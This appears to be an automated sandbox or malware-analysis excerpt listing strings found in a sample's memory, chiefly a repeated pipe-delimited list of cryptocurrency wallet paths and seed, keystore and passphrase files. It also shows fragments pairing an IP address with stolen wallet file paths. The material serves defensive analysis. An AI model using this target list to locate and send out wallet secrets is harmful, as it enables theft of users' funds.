Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Exodus\window-state.jsonll
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Exodus\window-state.jsonll
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Exodus\window-state.jsonll
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\.finger-print.fp*
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E84000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
